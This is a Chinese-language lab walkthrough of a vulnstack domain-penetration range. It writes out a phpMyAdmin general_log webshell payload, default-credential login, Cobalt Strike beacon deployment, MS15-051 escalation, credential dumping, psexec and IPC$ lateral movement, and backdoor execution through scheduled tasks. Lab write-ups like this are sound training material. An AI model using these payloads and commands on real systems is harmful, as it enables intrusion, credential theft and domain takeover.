一、靶场搭建
下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
下载解压完成后,有三个文件夹。
打开VMware导入虚拟机,右键空白处,然后点击扫描虚拟机。路径选择你刚刚下载的虚拟机的位置,即可成功导入虚拟机。
配置一下网络环境,以下为各个主机的IP。
win7(web服务器)外网ip:192.168.145.135 内网ip:192.168.52.129
windows server2008(域控)内网ip:192.168.52.138
win2K3(域内主机)内网ip:192.168.52.141
kali:192.168.145.171
我们编一下VMnet1,网段改为192.168.52.0。
win7添加一个网卡,第一个网卡设置为VMnet8,第二个网卡设置为VMnet1也就是我们刚刚修改的。
打开win7的网络适配器,这个Npcap网卡不用管它。
本地连接我们把ip固定为192.168.145.135,同理本地连接5我们固定ip为192.168.52.129,注意这里要固定DNS服务器为域控的ip地址。
windows server2008一样选择VMnet1。
固定ip地址为192.168.52.138,DNS要固定为域控ip。
win2K3和上面的都一样,选择VMnet1。
固定ip和DNS服务器,不过这里好像自动弄好了。
以防万一我们的kali也更改为VMnet8。
在win7的C盘中找到phpstudy开启它,如果开启不了,重启一下win7即可。最后访问一下127.0.0.1出现php探针就可以了。
最后三台主机互相ping一下,如果能通就说明没问题了,如果不行记得关闭防火墙哦。这里拿一张别人的拓扑图,这三台主机是在内网的同一个域里面滴。
二、信息收集
扫一下网段,靶机地址为192.168.145.135。
nmap -sP 192.168.145.*
收集一下端口等信息,可以看到开放了80、135、3306端口。
nmap -sT -T4 -sV -O -sC -Pn 192.168.145.135
扫描一下网站子目录,发现有phpMyAdmin登录地址,除了这个其它都没啥用了。
dirsearch -u http://192.168.145.135/
三、getshell
访问一下靶机ip,是一个php探针,没啥用。
访问一下phpMyAdmin,发现要登录,第一时间想到弱口令。上网搜到phpMyAdmin的默认账号密码为都是root。
登录进来随便看看有无啥可用的东西。
没找到啥有用的东西,那我们试一下能不能利用into outfile写入一句话木马,利用下面的sql语句查询一下 secure_file_priv 参数的值是否为空,只有为空的情况下才能进行写入。显然参数值为NULL,不是空,如果为空的话是啥也没有的。
show variables like '%secure_file_priv%';
既然不能利用into outfile写入一句话木马,那我们尝试一下日志getshqll。这里我们利用一下 general_log日志进行getshell,general_log是记录所有的数据库操作日志,也就是说执行过的sql语句都会记录在里面。我们执行一条sql语句里面带有我们的一句话木马,那么它就会把这条sql语句记录下来,那不就相当于我们把一句话木马写入这个日志里面了吗,最后再用蚁剑连接即可getshell。
先查询一下日志是否开启,日志是开启状态。
show variables like 'general_log'; -- 查看日志是否开启
set global general_log=on; -- 开启日志功能
set global general_log_file='x.php'; -- 设置日志文件保存位置以及类型
然后设置日志保存的位置以及类型,这里直接放在网站根目录下面。
我们执行一个sql语句,日志会把这个sql语句记录下来。
select '<?php eval($_POST[pass]);?>';
不信的话可以到win7的phpstudy根目录下查看,确实有个x.php
用蚁剑连接一下,直接成功getshell。
四、内网渗透
蚁剑执行ipconfig命令看看,发现还有个ip192.168.52.129,说明这台靶机存在内网网段。
内网渗透的话个人比较喜欢用CS,主要是msf没有图形化界面。我们先让win7靶机上线CS,具体怎么搞我就不多说了,很简单的。CS生成一个后门然后通过蚁剑上传到win7,再命令运行后门即可。
start /b 1111.exe
成功上线主机。
内网信息收集
现在我们对内网的信息进行一波收集,我们先初步判断win7是否在域中。执行下面的命令,如果存在域那么就会返回域控的时间。可以知道域控的名字叫做owa.god.org。
shell net time /domain
我们直接ping一下域控的名字就可以获得域控的ip地址啦,可以看到域控的ip为192.168.52.138。
既然存在域,那么我们直接利用CS的LSTAR插件来收集域内信息,你直接敲命令也是一样的效果,但是我懒得敲了。
查看当前域内的计算机,探测到有servser2008、win7、server2003。
再对192.168.52.0这个网段进行一个端口扫描。
可以看到内网中还存在192.168.52.138和192.168.52.141这两台主机。
经过探测141开放了777、139、135、21、445端口。
138开放了636、593、464、389、135、139、80、53、445端口,还是蛮多的。
横向移动
看到138主机开放了445端口,那么我们就试试能不能进行smb横移。先对win7提权到system权限,这个也简单直接用LSTAR插件进行提权,选择MS15-051漏洞即可。
然后再抓取明文密码,要system权限才能抓取滴,这也是为啥要提权。点击视图,选择密码凭证就可以看到我们抓取的密码。
配置一个smb监听器,这个监听器不生成后面仅仅是起到一个隧道的作用。
来到目标列表这里,右键138主机,选择点击移动,选择psexec64。用户和密码选择我们刚刚抓取的,如果你不知道是哪一个就每个都试一下,监听器选择我们刚刚创建的smb监听器,会话选择刚刚提权到system的会话。
最后点击Launch即可让138上线到CS,而且直接是system权限,说白了也是利用系统漏洞来进行横移滴。
然后我又对141进行了smb横移,但是不行。想到141除了开启445端口还开启了135端口,那么我们还可以试一下IPC横移。先建立IPC连接,这里可以用命令也可以直接用插件,其实插件也是通过执行命令来建立IPC连接滴。还是那句话,懒得敲命令。
net use \\192.168.52.141\ipc$ "passwd" /user:"Administrator" //建立连接命令
net use //查看是否建立连接
net use \\x.x.x.x\ipc$ /del //端口连接
这里我们建立了IPC连接,然后可以通过138传输一个后门到141上面去,再添加一个定时任务运行我们的后门即可上线到CS。我们新建一个正向连接的监听器,生成一个正向连接的后门。为啥不能像win7一样用反向的后门让它上线呢,因为win7是出网的呀,自然可以找到我们的CS服务端。但是141实在内网中的呀,它是不出网的(有些主机在内网中也是出网的,现实中建议正向和反向都试试),自然找不到我们的CS服务端。那么我们上传一个正向连接的后门到141,再通过win7去连接即可上线到CS,就是让win7当桥梁。
把生成的后门上传到138主机先,提醒一下这个后门要32位的,64位的到141上运行不了。
upload C:\Users\user\Desktop\3333.exe
通过138与141建立的IPC连接,把后门传到141上面。
copy 3333.exe \\192.168.52.142\c$ //把木马复制到目标主机
查看当前141主机的时间,方便我们添加定时任务。
net time \\192.168.52.141
可以看到141当前的时间为20:28,那我们添加一个定时任务,在20:35运行我们的后门。
创建计划任务(系统版本<2012用at命令、系统版本>=2012用schtasks命令)
at \\192.168.52.141 20:35 c:\3333.exe
等到141运行后门之后,输入命令让win7主动去连接它,即可上线CS。
connect 192.168.52.141 3333
五、总结
这个是比较基础的靶机,只要理清内网的思路,再稍微了解一下横向移动,以及端口的作用,基本就可以啦。
最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。